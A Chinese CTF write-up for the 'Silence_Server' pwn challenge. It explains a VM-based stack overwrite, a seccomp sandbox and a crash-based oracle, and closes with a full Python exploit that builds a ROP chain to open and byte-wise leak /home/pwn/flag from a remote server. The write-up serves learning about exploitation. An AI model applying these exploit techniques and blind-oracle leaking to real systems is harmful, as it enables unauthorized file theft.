这题又是一个 pwn,促使我觉得自身的水平实在不够(第四题就用完了),就去学习各路 dalao 的 writeup,附赠一篇
体会到几个工具的便利
学到几个 pwn 关键词
在做这题的过程中踩了无数坑,我会在 writeup 中提到部分坑点(毕竟踩完坑才能写出这篇)
这题"可谓集大成也",我会分 反汇编、pwn 两大部分阐明
主函数流程比较简单,就不贴代码了
该部分代码很长也比较晦涩,感觉要纯靠经验和耐心看完,所以我只附上虚拟机的指令解释。
这个虚拟机是基于堆栈的虚拟机,函数内有个 1000 字节的堆栈数组变量,我就命名为 buf 吧(其实命名 stack 更合理),本文之后出现的 buf 没特殊说明外均指该数组,命名 栈顶指针 为 bufp,定义 次顶层堆栈 为 栈次(bufp-1)
有几个坑点要注意
我们有在 执行虚拟机 函数内随意而又精准得操控 buf 变量之后堆栈的能力,能在这个函数末尾构建 ROP
看到 dalao 们一开始都会做这个,学习一下 ./checksec.sh --file Silence_Server
seccomp 是个能在程序中开启的沙盒,能根据规则限制自身以及子进程的 syscall 访问,先贴个代码看程序准我们干什么
记录坑点,之前我还不知道 seccomp 沙盒机制的时候,看到放行了 execve,就自认为能调用system("/bin/sh")
了,然后洋洋洒洒的写了一大板 ROP 准备测试。什么!!错误的系统调用,看来被 seccomp 限制住了,然后尝试 execve("/bin/sh",0,0)
也是一样,最后自己写个简易的测试代码,在这个规则下,连空程序都无法启动,血的教训,一定要先写测试代码
我反复思考了规则内能使用的 syscall,都没有想出任何用法,没有 mprotect,不能把堆栈变为可执行,brk 也只能更改 映射的下限,其他的都是文件操作了,难道就没有路走了么?
程序题干里,与第四题不同的是详细的说明了 flag 的路径/home/pwn/flag
,提示了我这题应该要用 open 直接 read 内容
突然脑袋里闪过这一题的标题 Silence Server,silence 是沉默的意思,我想到了一个就算不输出,不说话也能够交流的办法。我可以问程序:第一位是 a 么?不是的话程序退出了,是的话程序正常进行。这样考虑,就算不用说话只要它能听懂就能够交流出结果
从构思看我们需要
从堆栈转移到参数寄存器的利用点,64 位 linux,调用约定前三个参数是 rdi、rsi、rdx,大家也可以用 ROPgadget 工具,我用的是 keypatch 生成字节码,用 winhex 搜索
在 libc.so +0x1726C0 有个 0-255 的表
因为服务器对传输敏感,send 间的延迟时间需要反复调整,记录坑点,调整这个时间也花了不少时间(没有经验),有时候还怀疑自己的 payload 有问题,但手动又没问题,本地也没问题,结果是在这个 sleep 上,代码里是经过多重考核的非常稳定的延迟时间。因为单字符测试等待的时间较久,设计成了参数模式用来多进程执行
图1
图2
图3
图4
图5
图6
import numpy as np
a = np.array([
[30971, 31063, 18211, 23911, 20327, 20921, 20149, 17477],
[20051, 20359, 16699, 31121, 20641, 23633, 29759, 25111],
[25943, 27073, 25561, 23333, 26099, 17291, 27457, 30839],
[29873, 18313, 29167, 25411, 32191, 18959, 19079, 16879],
[16607, 29437, 19469, 32441, 28859, 20509, 23581, 26849],
[16823, 19927, 26161, 18869, 19973, 26981, 17431, 26633],
[26821, 19073, 28349, 30577, 25793, 22091, 31397, 26947],
[25339, 17737, 30817, 26183, 29629, 22691, 27793, 19447]
])
b = np.array([14985352, 14962906, 16361024, 14982624, 16152948, 14720714, 16722910, 15883204])
r = np.linalg.solve(a,b)
print str(bytearray(np.rint(r).astype(np.uint8))).encode("hex")
void seccompinit()
{
LODWORD(ctx) = seccomp_init(0LL);
if ( !ctx )
{
LODWORD(v0) = 0;
BUG();
}
ctx_ = ctx;
seccomp_arch_add(ctx, 0xC000003ELL); // SCMP_ARCH_X86_64
allow_syscall(ctx_, 0); // sys_read
allow_syscall(ctx_, 2u); // sys_open
allow_syscall(ctx_, 3u); // sys_close
allow_syscall(ctx_, 4u); // sys_newstat
allow_syscall(ctx_, 5u); // sys_newfstat
allow_syscall(ctx_, 6u); // sys_newlstat
allow_syscall(ctx_, 7u); // sys_poll
allow_syscall(ctx_, 8u); // sys_lseek
allow_syscall(ctx_, 12u); // sys_brk
allow_syscall(ctx_, 59u); // stub_execve
seccomp_load(ctx_);
}
from Crypto.Cipher import DES
import struct
import time
import sys
def enc(s):
key = "3378704c30723352".decode("hex")
des = DES.new(key, mode=DES.MODE_CBC, IV=key)
return des.encrypt(s)
def savebase(ori, diff, dst):
r = chr(22) + struct.pack("<Q", diff)
# ↑压入地址与基址的偏移,作为减法的减数
r += chr(22) + struct.pack("<Q", ori)
r += chr(20)
# 从 buf[ori] 获取值压入被减数,一般获取的是 ASLR 当前地址
r += chr(17)
# 减完以后栈顶就成了想保存的 ASLR 当前基址了
r += chr(22) + struct.pack("<Q", dst)
r += chr(21)
# 把基址存入 buf[dst] 的地方
return r
def savelibc():
# 调用堆栈中 __libc_start_main 返回地址在 buf[1013] 处
# 相对 libc.so 地址为 0x21B35,拿到基址存在 buf[999]
return savebase(1013, 0x21B35, 999)
def saveexe():
# 调用堆栈中 虚拟机执行 返回地址在 buf[1009] 处
# 相对 Silence_Server 地址为 0xa4c,拿到基址存在 buf[998]
return savebase(1009, 0xa4c, 998)
def saversp():
# buf[1015] 存了一个堆栈地址可以被利用
# 存的地址相对于 __libc_start_main 返回地址为 28*8(可以用 gdb 在启动时看到)
# 所以相对于 buf 的偏移就为 (1013 + 28)*8,拿到 buf地址 存在 buf[997]
return savebase(1015, (1013 + 28)*8, 997)
def pushaddr(solt, diff, dst):
r = chr(22) + struct.pack("<Q", diff)
# ↑压入地址与基址的偏移,作为加法的加数
r += chr(22) + struct.pack("<Q", solt)
r += chr(20)
# 从 buf[solt] 获取值压入另一加数,一般获取的是 ASLR 当前基址
r += chr(16)
# 加完以后栈顶就成了想使用的 ASLR 当前地址了
r += chr(22) + struct.pack("<Q", dst)
r += chr(21)
# 把地址存入 buf[dst] 的地方
return r
def pushlibc(diff, dst):
# 取出 libc.so 偏移后地址到 buf[dst]
return pushaddr(999, diff, dst)
def pushexe(diff, dst):
# 取出 Silence_Server 偏移后地址到 buf[dst]
return pushaddr(998, diff, dst)
def pushrsp(diff, dst):
# 取出 buf 偏移后地址到 buf[dst],和上面不同的是 diff 是按 buf 索引传入的
return pushaddr(997, diff*8, dst)
def pushim(im, dst):
r = chr(22) + struct.pack("<Q", im)
# ↑压入立即数到栈顶(只能是正数)
r += chr(22) + struct.pack("<Q", dst)
r += chr(21)
# 将立即数保存到 buf[dst]
return r
def setp0(dst):
# gadget: pop rdi;ret 在 Silence_Server 偏移 0xfe3 的地方
# 可以把下一个堆栈传入第一个参数
return pushexe(0xfe3, dst)
def setp1(dst):
# gadget: pop rsi;ret 在 libc.so 偏移 0x21747 的地方
# 可以把下一个堆栈传入第二个参数
return pushlibc(0x21747, dst)
def setp2(dst):
# gadget: pop rdx;ret 在 libcs.so 偏移 0xba6c0 的地方
# 可以把下一个堆栈传入第三个参数
return pushlibc(0xba6c0, dst)
def makerop(idx, cc):
# 返回地址在 buf[1009]
pos = 1009
# 保存所有基址
rop = savelibc()
rop += saveexe()
rop += saversp()
# 构建ROP
rop += setp0(pos); pos += 1
rop += pushrsp(1009 + 6, pos); pos += 1
# ↑第一个参数传预打开的文件名地址,指向6个堆栈后,之后会压入文件名
rop += setp1(pos); pos += 1
rop += pushim(0, pos); pos += 1
# 第二个参数传只读打开(0)
rop += pushlibc(0xE8A09, pos); pos += 1
# 调用 __open_nocancel,在 libc.so 偏移 0xE8A09
rop += pushexe(0xFE0, pos); pos += 1
# gadget: pop r14;pop r15;ret 清除后两个堆栈,在 Silence_Server 偏移 0xFE0
#/home/pwn/flag 拆分成2部分 /home/pw n/flag\0\0
rop += pushim(long("/home/pw"[::-1].encode("hex"), 16), pos); pos += 1
rop += pushim(long("n/flag\0\0"[::-1].encode("hex"), 16), pos); pos += 1
rop += setp0(pos); pos += 1
rop += pushim(3, pos); pos += 1
# 第一个参数文件号,这个程序之前没文件打开一般都是 3
rop += setp1(pos); pos += 1
rop += pushexe(0x207800, pos); pos += 1
# 第二个参数读出缓存,我选了 Silence_Server 偏移 0x207800 的地方
# 这个地方属于 data 段可写,因为是对齐部分,程序自身不可能用到
rop += setp2(pos); pos += 1
rop += pushim(64, pos); pos += 1
# 第三个参数读取字节数,64字节就够了
rop += pushlibc(0xE8BF9, pos); pos += 1
# 调用 __read_nocancel,在 libc.so 偏移 0xE8BF9
rop += setp0(pos); pos += 1
rop += pushexe(0x207800 + idx, pos); pos += 1
# 第一个参数待比较地址1,我传入的是读入内容的 idx 偏移,也就现在测第几个字符了
rop += setp1(pos); pos += 1
rop += pushlibc(0x1726C0 + cc, pos); pos += 1
# 第二个参数待比较地址2,在 libc.so 偏移 0x1726C0 的地方有个 0-255 的表可以利用
rop += setp2(pos); pos += 1
rop += pushim(1, pos); pos += 1
# 第三个参数比较字节数,就比较一个字符
rop += pushlibc(0x890C0, pos); pos += 1
# 调用 __memcmp_sse2,在 libc.so 偏移 0x890C0
rop += pushexe(0xBB4, pos); pos += 1
# gadget: Silence_Server 偏移 0xBB4 的地方有个返回值 rax 判断
# 可以利用成字符不相等程序发生写0崩溃
rop += pushim(0, pos); pos += 1
# 上面的函数返回前有个 rsp+8 的操作
rop += pushexe(0xA36, pos); pos += 1
# 如果字符相等,又返回 main 中调用 获取输入 的地方
# 主要是为了使用里面的 read 函数
rop += pushim(0, pos); pos += 1
# 上面的函数需要 rsp+4 保存返回长度,其实这条没有也可以
rop += chr(22) + struct.pack("<Q", 0)
# 虚拟机执行完毕后必须栈不能空,要不崩溃
rop += chr(31)
# 虚拟机代码不能执行完必须中途退出,要不崩溃(这两个什么鬼)
# 补充 nop 指令至8字节对齐,获取输入部分是 单位长度*8 的
roplen = len(rop)
for _ in xrange((roplen +7)/8*8 - roplen):
rop += chr(29)
return len(rop)/8, enc(rop)
def test(net, ss, ee):
ret = ""
import pwn
for ii in xrange(ss, ee):
ok = False
for cc in xrange(0x7F, -1, -1): #小写字母多的话,从后面会快
if cc != 0 and cc <= 0x20:
# 跳过不可见
continue
roplen, rop = makerop(ii, cc)
if net:
p = pwn.remote("211.159.216.90", 51888)
else:
p = pwn.process("/root/Silence_Server")
time.sleep(0.5)
p.send(chr(roplen)) # 输入单位长度
time.sleep(0.5)
p.send("3378704c30723352".decode("hex")) # 输入 des 密码
time.sleep(1)
p.send(rop) # 发送 rop
time.sleep(1)
ok = True
try:
p.send(chr(1))
time.sleep(1)
p.send(chr(1)) # 一般要第二次发送才会触发网络异常
except:
ok = False
if ok:
if cc == 0:
# 比较到字符串末尾 0 结束
print "finish"
print ret
sys.exit(0)
else:
# 打印该位置成功的字符
print ii, chr(cc)
ret += chr(cc)
break
if not ok:
# 如果一个字符都没比较成功肯定出问题了
print "what?"
sys.exit(0)
print ret
test(True, int(sys.argv[1]), int(sys.argv[2]))
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!